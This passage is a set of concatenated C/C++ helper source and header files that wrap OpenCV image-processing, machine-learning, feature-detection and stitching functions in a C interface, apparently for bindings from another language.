std::vector<cv::Mat> channels; cv::split(*src, channels); Mat *_mats = new Mat[channels.size()]; for (size_t i = 0; i < channels.size(); ++i) { _mats[i] = new cv::Mat(channels[i]); } Mats ret = {_mats, (int)channels.size()}; return ret; } int Mat_SizeFromInd(Mat m, int i){ return m->size[i]; } int Mat_CV_MAKETYPE(int depth, int cn){ return CV_MAKETYPE(depth, cn); } bool Rect_Contains(Rect r, Point p){ cv::Rect rect = {r.x, r.y, r.width, r.height}; cv::Point _p = {p.x, p.y}; return rect.contains(_p); } Mat Mat_FromContour(Contour points){ std::vector<cv::Point> pts; for (int i = 0; i < points.length; ++i){ cv::Point pt = {points.points[i].x, points.points[i].y}; pts.push_back(pt); } return new cv::Mat(pts); } PCA PCA_New(){ return new cv::PCA(); } PCA PCA_NewWithMaxComp(Mat data, Mat mean, int flags, int maxComponents){ return new cv::PCA(*data, *mean, flags, maxComponents); } PCA PCA_NewWithRetVar(Mat data, Mat mean, int flags, double retainedVariance){ return new cv::PCA(*data, *mean, flags, retainedVariance); } void PCA_BackProject(PCA pca, Mat vec, Mat result){ pca->backProject(*vec, *result); } void PCA_Project(PCA pca, Mat vec, Mat result){ pca->project(*vec, *result); } Mat PCA_Eigenvalues(PCA pca){ return new cv::Mat(pca->eigenvalues); } Mat PCA_Eigenvectors(PCA pca){ return new cv::Mat(pca->eigenvectors); } Mat PCA_Mean(PCA pca){ return new cv::Mat(pca->mean); } double Get_TermCriteria_Epsilon(TermCriteria tc){ return tc->epsilon; } int Get_TermCriteria_MaxCount(TermCriteria tc){ return tc->maxCount; } int Get_TermCriteria_Type(TermCriteria tc){ return tc->type; } void TermCriteria_Close(TermCriteria tc){ delete tc; } double Kmeans(Mat data, int K, Mat bestLabels, TermCriteria criteria, int attempts, int flags, Mat centers){ return cv::kmeans(*data, K, *bestLabels, *criteria, attempts, flags, *centers); } double Kmeans2(Mat data, int K, Mat bestLabels, TermCriteria criteria, int attempts, int flags, Point2fs* centers){ std::vector<cv::Point2f> _centers; double ret = cv::kmeans(*data, K, *bestLabels, *criteria, attempts, flags, _centers); Point2f* points = (Point2f*)malloc(_centers.size()*sizeof(Point2f)); for(int i = 0; i < _centers.size(); i++){ Point2f p = {_centers[i].x, _centers[i].y}; points[i] = p; } centers->points = points; centers->length = (int)_centers.size(); return ret; } Mat Mat_RowRange1(Mat src, int startrow, int endrow){ return new cv::Mat(src->rowRange(startrow, endrow)); } void Mat_Fill_Random(uint64_t state, Mat mat, int distType, Scalar a, Scalar b, bool saturateRange){ cv::RNG rng(state); cv::Scalar aa = cv::Scalar(a.val1, a.val2, a.val3, a.val4); cv::Scalar bb = cv::Scalar(b.val1, b.val2, b.val3, b.val4); rng.fill(*mat, distType, aa, bb, saturateRange); } void Mat_RandShuffle(uint64_t state, Mat dst, double iterFactor){ cv::RNG rng(state); cv::randShuffle(*dst, iterFactor, &rng); } Range Range_New(){ return new cv::Range(); } Range Range_NewWithParams(int _start, int _end){ return new cv::Range(_start, _end); } Range Range_All(){ return new cv::Range(cv::Range::all()); } bool Range_Empty(Range rng){ return rng->empty(); } int Range_Size(Range rng){ return rng->size(); } int Range_GetStart(Range rng){ return rng->start; } int Range_GetEnd(Range rng){ return rng->end; } Mat Mat_FromRanges(Mat src, Range rowRange, Range colRange){ int st1 = Range_GetStart(rowRange); int en1 = Range_GetEnd(rowRange); int st2 = Range_GetStart(colRange); int en2 = Range_GetEnd(colRange); return new cv::Mat(*src, cv::Range(st1, en1), cv::Range(st2, en2)); } Mat Mat_FromMultiRanges(Mat src, RangeVector rngs){ std::vector<cv::Range> ranges; for(int i = 0; i < rngs.length; i++){ Range r = rngs.ranges[i]; int st = Range_GetStart(r); int en = Range_GetEnd(r); ranges.push_back(cv::Range(st, en)); } return new cv::Mat(*src, ranges); } bool Mat_IsContinuous(Mat src){ return src->isContinuous(); } bool Mat_IsSubmatrix(Mat src){ return src->isSubmatrix(); } void Mat_LocateROI(Mat src, Size* wholeSize, Point* ofs){ cv::Size sz; cv::Point p; src->locateROI(sz, p); wholeSize->height = sz.height; wholeSize->width = sz.width; ofs->x = p.x; ofs->y = p.y; } <file_sep>#include "ximgproc_helper.h" void FourierDescriptor(Contour spoints, Mat dst, int nbElt, int nbFD){ std::vector<cv::Point> pts; for (size_t i = 0; i < spoints.length; i++) { pts.push_back(cv::Point(spoints.points[i].x, spoints.points[i].y)); } cv::ximgproc::fourierDescriptor(pts, *dst, nbElt, nbFD); } void Thinning(Mat input, Mat output, int thinningType){ cv::ximgproc::thinning(*input, *output, thinningType); } <file_sep>#include "ml_helper.h" SVM SVM_Create(){ return new cv::Ptr<cv::ml::SVM>(cv::ml::SVM::create()); } void SVM_Close(SVM svm){ delete svm; } double SVM_GetC(SVM svm){ return (*svm)->getC(); } Mat SVM_GetClassWeights(SVM svm){ return new cv::Mat( (*svm)->getClassWeights() ); } double SVM_GetCoef0 (SVM svm){ return (*svm)->getCoef0(); } double SVM_GetDecisionFunction(SVM svm, int i, Mat alpha, Mat svidx){ return (*svm)->getDecisionFunction(i, *alpha, *svidx); } double SVM_GetDegree(SVM svm){ return (*svm)->getDegree(); } double SVM_GetGamma(SVM svm){ return (*svm)->getGamma(); } int SVM_GetKernelType(SVM svm){ return (*svm)->getKernelType(); } double SVM_GetNu(SVM svm){ return (*svm)->getNu(); } double SVM_GetP(SVM svm){ return (*svm)->getP(); } Mat SVM_GetSupportVectors(SVM svm){ return new cv::Mat( (*svm)->getSupportVectors() ); } TermCriteria SVM_GetTermCriteria(SVM svm){ return new cv::TermCriteria( (*svm)->getTermCriteria() ); } int SVM_GetType(SVM svm){ return (*svm)->getType(); } Mat SVM_GetUncompressedSupportVectors(SVM svm){ return new cv::Mat( (*svm)->getUncompressedSupportVectors() ); } void SVM_SetC (SVM svm, double val){ (*svm)->setC(val); } void SVM_SetClassWeights(SVM svm, Mat val){ (*svm)->setClassWeights(*val); } void SVM_SetCoef0 (SVM svm, double val){ (*svm)->setCoef0(val); } // void setCustomKernel (SVM svm, Kernel _kernel); void SVM_SetDegree (SVM svm, double val){ (*svm)->setDegree(val); } void SVM_SetGamma (SVM svm, double val){ (*svm)->setGamma(val); } void SVM_SetKernel (SVM svm, int kernelType){ (*svm)->setKernel(kernelType); } void SVM_SetNu (SVM svm, double val){ (*svm)->setNu(val); } void SVM_SetP (SVM svm, double val){ (*svm)->setP(val); } void SVM_SetTermCriteria(SVM svm, TermCriteria val){ (*svm)->setTermCriteria(*val); } void SVM_SetType(SVM svm, int val){ (*svm)->setType(val); } ParamGrid SVM_GetDefaultGridPtr(int param_id){ return new cv::Ptr<cv::ml::ParamGrid>( cv::ml::SVM::getDefaultGridPtr(param_id) ); } bool SVM_TrainAuto0(SVM svm, Mat samples, int layout, Mat responses, int kFold, ParamGrid Cgrid, ParamGrid gammaGrid, ParamGrid pGrid, ParamGrid nuGrid, ParamGrid coeffGrid, ParamGrid degreeGrid, bool balanced){ return (*svm)->trainAuto( *samples, layout, *responses, kFold, *Cgrid, *gammaGrid, *pGrid, *nuGrid, *coeffGrid, *degreeGrid, balanced ); } ParamGrid ParamGrid_Create (double minVal, double maxVal, double logstep){ return new cv::Ptr<cv::ml::ParamGrid>(cv::ml::ParamGrid::create(minVal, maxVal, logstep)); } double ParamGrid_MinVal (ParamGrid pg){ return (*pg)->minVal; } double ParamGrid_MaxVal (ParamGrid pg){ return (*pg)->maxVal; } double ParamGrid_LogStep (ParamGrid pg){ return (*pg)->logStep; } <file_sep>#ifndef _OPENCV3_OBJDETECT_HELPER_H_ #define _OPENCV3_OBJDETECT_HELPER_H_ #include <stdbool.h> #ifdef __cplusplus #include <opencv2/opencv.hpp> extern "C" { #endif #include "core.h" #include "cvcore_helper.h" #include "objdetect.h" bool CascadeClassifier_Empty(CascadeClassifier cs); Size HOGDescriptor_GetWinSize(HOGDescriptor hd); void HOGDescriptor_SetWinSize(HOGDescriptor hd, Size newSize); void HOGDescriptor_Compute(HOGDescriptor hd, Mat img, FloatVector descriptors, Size winStride, Size padding, Points locations); void HOGDescriptor_DetectMultiScale2(HOGDescriptor hd, Mat img, Rects* foundLocations, DoubleVector* foundWeights, double hitThreshold, Size winStride, Size padding, double scale, double finalThreshold, bool useMeanshiftGrouping); void HOGDescriptor_Save(HOGDescriptor hd, const char* filename); #ifdef __cplusplus } #endif #endif //_OPENCV3_OBJDETECT_HELPER_H_ <file_sep> #ifdef __cplusplus #include <opencv2/opencv.hpp> #include <opencv2/ximgproc.hpp> extern "C" { #endif #include "../core.h" void FourierDescriptor(Contour src, Mat dst, int nbElt, int nbFD); void Thinning(Mat input, Mat output, int thinningType); #ifdef __cplusplus } #endif <file_sep>#ifndef _OPENCV3_FEATURES2D_H_ #define _OPENCV3_FEATURES2D_H_ #ifdef __cplusplus #include <opencv2/opencv.hpp> extern "C" { #endif #include "core.h" #include "cvcore_helper.h" #include "features2d.h" #ifdef __cplusplus typedef cv::FlannBasedMatcher* FlannBasedMatcher; typedef cv::Ptr<cv::SIFT>* SIFT; #else typedef void* FlannBasedMatcher; typedef void* SIFT; #endif FlannBasedMatcher FlannBasedMatcher_Create1(); void FlannBasedMatcher_Close(FlannBasedMatcher fbm); struct MultiDMatches FlannBasedMatcher_KnnMatch(FlannBasedMatcher fbm, Mat queryDescriptors, Mat trainDescriptors, int k, Mat mask, bool compactResult); void DrawMatches1(Mat img1, KeyPoints kp1, Mat img2, KeyPoints kp2, DMatches matches1to2, Mat outImg, Scalar matchColor, Scalar singlePointColor, CharVector matchesMask, int flags); SIFT SIFT_Create(); void SIFT_Close(SIFT f); struct KeyPoints SIFT_Detect(SIFT f, Mat src); struct KeyPoints SIFT_DetectAndCompute(SIFT f, Mat src, Mat mask, Mat desc); #ifdef __cplusplus } #endif #endif //_OPENCV3_FEATURES2D_H_ <file_sep>#ifndef _OPENCV3_ML_HELPER_H_ #define _OPENCV3_ML_HELPER_H_ #include <stdbool.h> #ifdef __cplusplus #include <opencv2/opencv.hpp> extern "C" { #endif #include "core.h" #ifdef __cplusplus typedef cv::Ptr<cv::ml::SVM>* SVM; typedef cv::Ptr<cv::ml::ParamGrid>* ParamGrid; /* typedef cv::Ptr<cv::ml::SVM::Kernel>* Kernel; */ #else typedef void* SVM; typedef void* ParamGrid; /* typedef void* Kernel; */ #endif SVM SVM_Create(); void SVM_Close(SVM svm); double SVM_GetC(SVM svm); Mat SVM_GetClassWeights(SVM svm); double SVM_GetCoef0(SVM svm); double SVM_GetDecisionFunction(SVM svm, int i, Mat alpha, Mat svidx); double SVM_GetDegree(SVM svm); double SVM_GetGamma(SVM svm); int SVM_GetKernelType(SVM svm); double SVM_GetNu(SVM svm); double SVM_GetP(SVM svm); Mat SVM_GetSupportVectors(SVM svm); TermCriteria SVM_GetTermCriteria(SVM svm); int SVM_GetType(SVM svm); Mat SVM_GetUncompressedSupportVectors(SVM svm); void SVM_SetC (SVM svm, double val); void SVM_SetClassWeights(SVM svm, Mat val); void SVM_SetCoef0 (SVM svm, double val); // void setCustomKernel (SVM svm, Kernel _kernel); void SVM_SetDegree (SVM svm, double val); void SVM_SetGamma (SVM svm, double val); void SVM_SetKernel (SVM svm, int kernelType); void SVM_SetNu (SVM svm, double val); void SVM_SetP (SVM svm, double val); void SVM_SetTermCriteria(SVM svm, TermCriteria val); void SVM_SetType(SVM svm, int val); ParamGrid SVM_GetDefaultGridPtr(int param_id); bool SVM_TrainAuto0(SVM svm, Mat samples, int layout, Mat responses, int kFold, ParamGrid Cgrid, ParamGrid gammaGrid, ParamGrid pGrid, ParamGrid nuGrid, ParamGrid coeffGrid, ParamGrid degreeGrid, bool balanced); ParamGrid ParamGrid_Create (double minVal, double maxVal, double logstep); double ParamGrid_MinVal (ParamGrid pg); double ParamGrid_MaxVal (ParamGrid pg); double ParamGrid_LogStep (ParamGrid pg); #ifdef __cplusplus } #endif #endif //_OPENCV3_ML_HELPER_H_ <file_sep>#include <stdbool.h> // functions not wrapped in gocv #ifdef __cplusplus #include <opencv2/opencv.hpp> extern "C" { #endif #include "core.h" #include "cvcore_helper.h" #include "imgproc.h" void Watershed(Mat src, Mat markers ); int FloodFill( Mat image, Mat mask, Point seedPoint, Scalar newVal, Rect rect, Scalar loDiff, Scalar upDiff, int flags ); int FloodFill2(Mat image, Point seedPoint, Scalar newVal, Rect rect, Scalar loDiff, Scalar upDiff, int flags); struct Contours FindContoursWithHier(Mat src, Hierarchy* chierarchy, int mode, int method); void Canny2(Mat dx, Mat dy, Mat edges, double threshold1, double threshold2, bool L2gradient); void Canny3(Mat image, Mat edges, double threshold1, double threshold2, int apertureSize, bool L2gradient); Mat GetStructuringElementWithAnchor(int shape, Size ksize, Point anchor); void DrawContours2( Mat image, Contours contours, int contourIdx, Scalar color, int thickness, int lineType, Hierarchy hierarchy, int maxLevel, Point offset); struct Points ConvexHull2(Contour points, bool clockwise); struct IntVector ConvexHull3(Contour points, bool clockwise); void CalcHist1(Mat images, int nimages, int* channels, Mat mask, Mat hist, int dims, int* histSize, const float** ranges, bool uniform, bool accumulate); void CalcHist2(Mat dst, Mat mask, Mat hist, int* histSize); void Rectangle2(Mat img, Point pt1, Point pt2, Scalar color, int thickness, int lineType, int shift); Vec3fs HoughCircles3(Mat image, int method, double dp, double minDist, double param1, double param2, int minRadius, int maxRadius); void Circle2(Mat img, Point center, int radius, Scalar color, int thickness, int shift); void HoughLines2(Mat image, Vec2fs *lines, double rho, double theta, int threshold, double srn, double stn, double min_theta, double max_theta); void HoughLinesP2(Mat image, Vec4is *lines, double rho, double theta, int threshold, double minLineLength, double maxLineGap); void Line2(Mat img, Point pt1, Point pt2, Scalar color, int thickness, int lineType, int shift); void DistanceTransform(Mat src, Mat dst, Mat labels, int distanceType, int maskSize, int labelType); void DistanceTransform2(Mat src, Mat dst, int distanceType, int maskSize, int dstType); #ifdef __cplusplus typedef cv::Subdiv2D* Subdiv2D; #else typedef void* Subdiv2D; #endif Subdiv2D Subdiv2d_New(); Subdiv2D Subdiv2d_NewFromRect(Rect r); void Subdiv2D_Close(Subdiv2D sd); void Subdiv2D_Insert(Subdiv2D sd, Point2f p); void Subdiv2D_InsertMultiple(Subdiv2D sd, Point2fs ptvec); struct Vec6fs Subdiv2D_GetTriangleList(Subdiv2D sd); Point2fss Subdiv2D_GetVoronoiFacetList(Subdiv2D sd, IntVector idx, Point2fs* faceCenters); int Subdiv2D_EdgeOrg(Subdiv2D sd, int edge, Point2f* orgpt); int Subdiv2D_EdgeDst(Subdiv2D sd, int edge, Point2f* dstpt); int Subdiv2D_GetEdge(Subdiv2D sd, int edge, int nextEdgeType); int Subdiv2D_NextEdge(Subdiv2D sd, int edge); int Subdiv2D_RotateEdge(Subdiv2D sd, int edge, int rotate); int Subdiv2D_SymEdge(Subdiv2D sd, int edge); int Subdiv2D_FindNearest(Subdiv2D sd, Point2f pt, Point2f* _nearestPt); struct Vec4fs Subdiv2D_GetEdgeList(Subdiv2D sd); struct IntVector Subdiv2D_GetLeadingEdgeList(Subdiv2D sd); int Subdiv2D_Locate(Subdiv2D sd, Point2f pt, int &edge, int &vertex); int Subdiv2D_FindNearest(Subdiv2D sd, Point2f pt, Point2f* nearestPt); Point2f Subdiv2D_GetVertex(Subdiv2D sd, int vertex, int *firstEdge); void Subdiv2D_InitDelaunay(Subdiv2D sd, Rect rect); void FillConvexPoly(Mat img, Points points, Scalar color, int lineType, int shift); void Polylines(Mat img, Points pts, bool isClosed, Scalar color, int thickness, int lineType, int shift); void Polylines2ss(Mat img, Pointss pts, bool isClosed, Scalar color, int thickness, int lineType, int shift); struct RotatedRect FitEllipse(Points points); struct RotatedRect FitEllipse2(Mat points); struct RotatedRect FitEllipseAMS(Points points); struct RotatedRect FitEllipseAMS2(Mat points); struct RotatedRect FitEllipseDirect(Points points); struct RotatedRect FitEllipseDirect2(Mat points); void Ellipse2(Mat img, RotatedRect box, Scalar color, int thickness, int lineType); void PyrMeanShiftFiltering(Mat src, Mat dst, double sp, double sr, int maxLevel, TermCriteria termcrit); double CLAHE_GetClipLimit(CLAHE c); Size CLAHE_GetTilesGridSize(CLAHE c); void CLAHE_SetClipLimit(CLAHE c, double clipLimit); void CLAHE_SetTilesGridSize (CLAHE c, Size tileGridSize); void Dilate2(Mat src, Mat dst, Mat kernel, Point anchor, int iterations); void Erode2(Mat src, Mat dst, Mat kernel, Point anchor, int iterations); double MinEnclosingTriangle(Mat points, Mat triangle); double CompareHist(Mat H1, Mat H2, int method); #ifdef __cplusplus } #endif <file_sep>#include "highgui_helper.h" void Trackbar_CreateWithCallBack(const char* trackname, const char* winname, int* value, int count, TrackbarCallback on_trackbar, void* userdata){ cv::createTrackbar( trackname, winname, value, count, on_trackbar, userdata ); } void Win_setMouseCallback(const char* winname, MouseCallback onMouse, void *userdata){ cv::setMouseCallback(winname, onMouse, userdata); } <file_sep>#include "dnn_helper.h" IntVector DNN_NMSBoxes(RotatedRects rects, FloatVector _scores, float score_threshold, float nms_threshold, float eta, int top_k){ std::vector<float> scores; for (size_t i = 0; i < _scores.length; ++i){ scores.push_back(_scores.val[i]); } std::vector<cv::RotatedRect> boxes; for (size_t i = 0; i < rects.length; ++i){ RotatedRect rect = rects.rects[i]; cv::Point2f centerPt((float)rect.center.x , (float)rect.center.y); cv::Size2f rSize((float)rect.size.width, (float)rect.size.height); cv::RotatedRect rotatedRectangle(centerPt, rSize, (float)rect.angle); boxes.push_back(rotatedRectangle); } std::vector<int> indices; cv::dnn::NMSBoxes(boxes, scores, score_threshold, nms_threshold, indices, eta, top_k ); int* ival = new int[indices.size()]; for (size_t i = 0; i < indices.size(); ++i){ ival[i] = indices[i]; } IntVector ivec = {ival, (int)indices.size()}; return ivec; } <file_sep>#ifndef _OPENCV3_XFEATURES2D_HELPER_H_ #define _OPENCV3_XFEATURES2D_HELPER_H_ #ifdef __cplusplus #include <opencv2/opencv.hpp> #include <opencv2/xfeatures2d.hpp> extern "C" { #endif #include "../core.h" #include "xfeatures2d.h" SURF SURF_CreateWithParams(double hessianThreshold, int nOctaves, int nOctaveLayers, bool extended, bool upright); bool SURF_GetExtended(SURF s); double SURF_GetHessianThreshold(SURF s); int SURF_GetNOctaveLayers(SURF s); int SURF_GetNOctaves(SURF s); bool SURF_GetUpright(SURF s); void SURF_SetExtended(SURF s, bool extended); void SURF_SetHessianThreshold (SURF s, double hessianThreshold); void SURF_SetNOctaveLayers (SURF s, int nOctaveLayers); void SURF_SetNOctaves (SURF s, int nOctaves); void SURF_SetUpright (SURF s, bool upright); KeyPoints SURF_DetectAndCompute2(SURF s, Mat image, Mat mask, Mat descriptors, bool useProvidedKeypoints); #ifdef __cplusplus } #endif #endif //_OPENCV3_XFEATURES2D_HELPER_H_ <file_sep>#ifndef _OPENCV3_CUDA_IMGPROC_H_ #define _OPENCV3_CUDA_IMGPROC_H_ #include <stdint.h> #include <stdbool.h> #ifdef __cplusplus #include <opencv2/opencv.hpp> #include <opencv2/cudaimgproc.hpp> #include <opencv2/cudaarithm.hpp> extern "C" { #endif #include "cuda.h" #ifdef __cplusplus typedef cv::Ptr<cv::cuda::CannyEdgeDetector>* CannyEdgeDetector; #else typedef void* CannyEdgeDetector; #endif void GpuCvtColor(GpuMat src, GpuMat dst, int code); void GpuThreshold(GpuMat src, GpuMat dst, double thresh, double maxval, int typ); CannyEdgeDetector CreateCannyEdgeDetector(double lowThresh, double highThresh, int appertureSize, bool L2gradient); GpuMat CannyEdgeDetector_Detect(CannyEdgeDetector det, GpuMat img); int CannyEdgeDetector_GetAppertureSize(CannyEdgeDetector det); double CannyEdgeDetector_GetHighThreshold(CannyEdgeDetector det); bool CannyEdgeDetector_GetL2Gradient(CannyEdgeDetector det); double CannyEdgeDetector_GetLowThreshold(CannyEdgeDetector det); void CannyEdgeDetector_SetAppertureSize(CannyEdgeDetector det, int appertureSize); void CannyEdgeDetector_SetHighThreshold(CannyEdgeDetector det, double highThresh); void CannyEdgeDetector_SetL2Gradient(CannyEdgeDetector det, bool L2gradient); void CannyEdgeDetector_SetLowThreshold(CannyEdgeDetector det, double lowThresh); #ifdef __cplusplus } #endif #endif //_OPENCV3_CUDA_IMGPROC_H_ <file_sep>#include "photo_helper.h" void DetailEnhance(Mat src, Mat dst, float sigma_s, float sigma_r){ cv::detailEnhance(*src, *dst, sigma_s, sigma_r); } void EdgePreservingFilter(Mat src, Mat dst, int flags, float sigma_s, float sigma_r){ cv::edgePreservingFilter(*src, *dst, flags, sigma_s, sigma_r); } void PencilSketch(Mat src, Mat dst1, Mat dst2, float sigma_s, float sigma_r, float shade_factor){ cv::pencilSketch (*src, *dst1, *dst2, sigma_s, sigma_r, shade_factor); } void Stylization (Mat src, Mat dst, float sigma_s, float sigma_r){ cv::stylization (*src, *dst, sigma_s, sigma_r); } void ColorChange(Mat src, Mat mask, Mat dst, float red_mul, float green_mul, float blue_mul){ cv::colorChange(*src, *mask, *dst, red_mul, green_mul, blue_mul); } void IlluminationChange(Mat src, Mat mask, Mat dst, float alpha, float beta){ cv::illuminationChange (*src, *mask, *dst, alpha, beta); } void SeamlessClone(Mat src, Mat dst, Mat mask, Point p, Mat blend, int flags){ cv::Point pp = {p.x, p.y}; cv::seamlessClone(*src, *dst, *mask, pp, *blend, flags); } void TextureFlattening(Mat src, Mat mask, Mat dst, float low_threshold, float high_threshold, int kernel_size){ cv::textureFlattening (*src, *mask, *dst, low_threshold, high_threshold, kernel_size); } void FastNlMeansDenoising2 (Mat src, Mat dst, float h, int templateWindowSize, int searchWindowSize){ cv::fastNlMeansDenoising(*src, *dst, h, templateWindowSize, searchWindowSize); } <file_sep>#include "core.h" #ifdef __cplusplus #include <opencv2/opencv.hpp> extern "C" { #endif typedef struct RotatedRects { RotatedRect* rects; int length; } RotatedRects; typedef struct DoubleVector { double* val; int length; } DoubleVector; typedef struct Vec4f { float val1; float val2; float val3; float val4; } Vec4f; typedef struct Vec4fs { Vec4f* vec4fs; int length; } Vec4fs; typedef struct Vec3f { float val1; float val2; float val3; } Vec3f; typedef struct Vec3fs { Vec3f* vec3fs; int length; } Vec3fs; typedef struct Vec4i { int val1; int val2; int val3; int val4; } Vec4i; typedef struct Vec4is { Vec4i* vec4is; int length; } Vec4is; typedef struct Vec3i { int val1; int val2; int val3; } Vec3i; typedef struct Vec3is { Vec3i* vec3is; int length; } Vec3is; typedef struct Vec2f { float val1; float val2; } Vec2f; typedef struct Vec2fs { Vec2f* vec2fs; int length; } Vec2fs; typedef struct Vec6f { float val1; float val2; float val3; float val4; float val5; float val6; } Vec6f; typedef struct Vec6fs { Vec6f* vec6fs; int length; } Vec6fs; typedef struct Point2fs { Point2f* points; int length; } Point2fs; typedef struct Point2fss { Point2fs* point2fss; int length; } Point2fss; typedef struct Pointss { Points* pointss; int length; Points opIndex(int i){ return pointss[i]; } } Pointss; // Wrapper for std::vector<char> typedef struct CharVector { char* val; int length; } CharVector; void Mat_SetToWithMask(Mat m, Scalar value, Mat mask); RotatedRect New_RotatedRect(Point center, Size size, double angle); void Close_Vec6fs(struct Vec6fs vec6fs); void Close_Vec4fs(struct Vec4fs vec4fs); void Close_Vec3fs(struct Vec3fs vec3fs); void Close_Vec2fs(struct Vec2fs vec2fs); void Close_Vec4is(struct Vec4is vec4is); void Close_Vec3is(struct Vec3is vec3is); void Close_IntVector(struct IntVector iv); void Close_DoubleVector(struct DoubleVector iv); void Close_FloatVector(struct FloatVector iv); void Close_CharVector(struct CharVector chv); int Mat_Dims(Mat m); uchar* Mat_RowPtr(Mat m, int i); uchar* Mat_RowPtr2(Mat m, int row, int col); void* Mat_RowPtr3(Mat m, int i0, int i1, int i2); void Mat_MultiplyInt(Mat m, int val); void Mat_DivideInt(Mat m, int val); void Mat_AddDouble(Mat m, double val); void Mat_SubtractDouble(Mat m, double val); void Mat_AddInt(Mat m, int val); void Mat_SubtractInt(Mat m, int val); void Mat_AddScalar(Mat m, Scalar scalar); Mat Mat_EQInt(Mat m, int a); Mat Mat_GTInt(Mat m, int a); Mat Mat_GEInt(Mat m, int a); Mat Mat_LTInt(Mat m, int a); Mat Mat_LEInt(Mat m, int a); Mat Mat_NEInt(Mat m, int a); Mat Mat_EQDouble(Mat m, double a); Mat Mat_GTDouble(Mat m, double a); Mat Mat_GEDouble(Mat m, double a); Mat Mat_LTDouble(Mat m, double a); Mat Mat_LEDouble(Mat m, double a); Mat Mat_NEDouble(Mat m, double a); Mat Mat_ZerosFromRC(int rows, int cols, int type); Mat Mat_ZerosFromSize(Size sz, int type); Mat Mat_OnesFromRC(int rows, int cols, int type); Mat Mat_OnesFromSize(Size sz, int type); Mat Mat_FromArrayPtr(int rows, int cols, int type, void* data); Mat Mat_FromFloatVector(FloatVector vec); Mat Mat_FromIntVector(IntVector vec); Mat Mat_HeaderFromRow(Mat src, int y); Mat Mat_HeaderFromCol(Mat src, int x); char* _type2str(int type); void Mat_CompareWithScalar(Mat src1, Scalar src2, Mat dst, int ct); double Mat_Dot(Mat m1, Mat m2); Mat Mat_Diag(Mat src, int d); Mat Mat_EyeFromRC(int rows, int cols, int type); int Mat_FlatLength(Mat src); void* Mat_DataPtrNoCast(Mat src); Scalar Mat_ColorAt(Mat src, int row, int col); void Mat_SetColorAt(Mat src, Scalar color, int row, int col); int Mat_SizeFromInd(Mat m, int i); void Mat_MultiplyDouble(Mat m, double val); // wrapper for vector<Vec4i> hierarchy; typedef struct Hierarchy { Scalar* scalars; int length; } Hierarchy; void Mat_convertTo2(Mat m, Mat dst, int rtype, double alpha, double beta); void Mat_MinMaxLoc2(Mat a, double* minVal, double* maxVal, int* minIdx, int* maxIdx); void Mat_Merge2(struct Mats mats, int count, Mat dst); struct Mats Mat_Split2(Mat src); bool Rect_Contains(Rect r, Point p); Mat Mat_FromContour(Contour points); int Mat_CV_MAKETYPE(int depth, int cn); #ifdef __cplusplus typedef cv::PCA* PCA; typedef cv::Range* Range; #else typedef void* PCA; typedef void* Range; #endif typedef struct RangeVector { Range* ranges; int length; } RangeVector; PCA PCA_New(); PCA PCA_NewWithMaxComp(Mat data, Mat mean, int flags, int maxComponents); PCA PCA_NewWithRetVar(Mat data, Mat mean, int flags, double retainedVariance); void PCA_BackProject(PCA pca, Mat vec, Mat result); void PCA_Project(PCA pca, Mat vec, Mat result); Mat PCA_Eigenvalues(PCA pca); Mat PCA_Eigenvectors(PCA pca); Mat PCA_Mean(PCA pca); double Get_TermCriteria_Epsilon(TermCriteria tc); int Get_TermCriteria_MaxCount(TermCriteria tc); int Get_TermCriteria_Type(TermCriteria tc); void TermCriteria_Close(TermCriteria tc); double Kmeans(Mat data, int K, Mat bestLabels, TermCriteria criteria, int attempts, int flags, Mat centers); double Kmeans2(Mat data, int K, Mat bestLabels, TermCriteria criteria, int attempts, int flags, Point2fs* centers); Mat Mat_RowRange1(Mat src, int startrow, int endrow); void Mat_Fill_Random(uint64_t state, Mat mat, int distType, Scalar a, Scalar b, bool saturateRange); void Mat_RandShuffle(uint64_t state, Mat dst, double iterFactor); Range Range_New(); Range Range_NewWithParams(int _start, int _end); Range Range_All(); bool Range_Empty(Range rng); int Range_Size(Range rng); int Range_GetStart(Range rng); int Range_GetEnd(Range rng); Mat Mat_FromRanges(Mat src, Range rowRange, Range colRange); Mat Mat_FromMultiRanges(Mat src, RangeVector rngs); bool Mat_IsContinuous(Mat src); bool Mat_IsSubmatrix(Mat src); void Mat_LocateROI(Mat src, Size* wholeSize, Point* ofs); #ifdef __cplusplus } #endif <file_sep>#include "stitching_helper.h" void Stitcher_Close(Stitcher st){ delete st; } Stitcher Stitcher_Create(int mode){ return new cv::Ptr<cv::Stitcher>(cv::Stitcher::create(cv::Stitcher::Mode(mode))); } int Stitcher_Stitch(Stitcher st, Mats images, Mat pano){ std::vector<cv::Mat> imgs; for(int i = 0; i < images.length; i++){ imgs.push_back(*images.mats[i]); } cv::Stitcher::Status status = (*st)->stitch(imgs, *pano); return status; } <file_sep>#include "objdetect_helper.h" bool CascadeClassifier_Empty(CascadeClassifier cs) { return cs->empty(); } Size HOGDescriptor_GetWinSize(HOGDescriptor hd){ cv::Size csz = hd->winSize; Size sz = {csz.width, csz.height}; return sz; } void HOGDescriptor_SetWinSize(HOGDescriptor hd, Size newSize){ cv::Size csz = {newSize.width, newSize.height}; hd->winSize = csz; } void HOGDescriptor_Compute(HOGDescriptor hd, Mat img, FloatVector descriptors, Size winStride, Size padding, Points locations){ std::vector<float> fvec; for(int i = 0; i<descriptors.length; i++){ fvec.push_back(descriptors.val[i]); } cv::Size ws = {winStride.width, winStride.height}; cv::Size pd = {padding.width, padding.height}; std::vector< cv::Point > loc; for(int i = 0; i<locations.length; i++){ cv::Point p = {locations.points[i].x, locations.points[i].y}; loc.push_back(p); } hd->compute(*img, fvec, ws, pd, loc); } void HOGDescriptor_DetectMultiScale2(HOGDescriptor hd, Mat img, Rects* foundLocations, DoubleVector* foundWeights, double hitThreshold, Size winStride, Size padding, double scale, double finalThreshold, bool useMeanshiftGrouping){ std::vector<cv::Rect> fLoc; std::vector<double> fw; cv::Size ws = {winStride.width, winStride.height}; cv::Size pd = {padding.width, padding.height}; hd->detectMultiScale(*img, fLoc, fw, hitThreshold, ws, pd, scale, finalThreshold, useMeanshiftGrouping ); Rect* fl = new Rect[fLoc.size()]; for(size_t i = 0; i<fLoc.size(); i++){ Rect rc = {fLoc[i].x, fLoc[i].y, fLoc[i].width, fLoc[i].height}; fl[i] = rc; } foundLocations->rects = fl; foundLocations->length = (int)fLoc.size(); double* fwei = new double[fw.size()]; for(size_t i = 0; i<fw.size(); i++){ fwei[i] = fw[i]; } foundWeights->val = fwei; foundWeights->length = (int)fw.size(); } void HOGDescriptor_Save(HOGDescriptor hd, const char* filename){ hd->save(filename); } <file_sep> file(GLOB 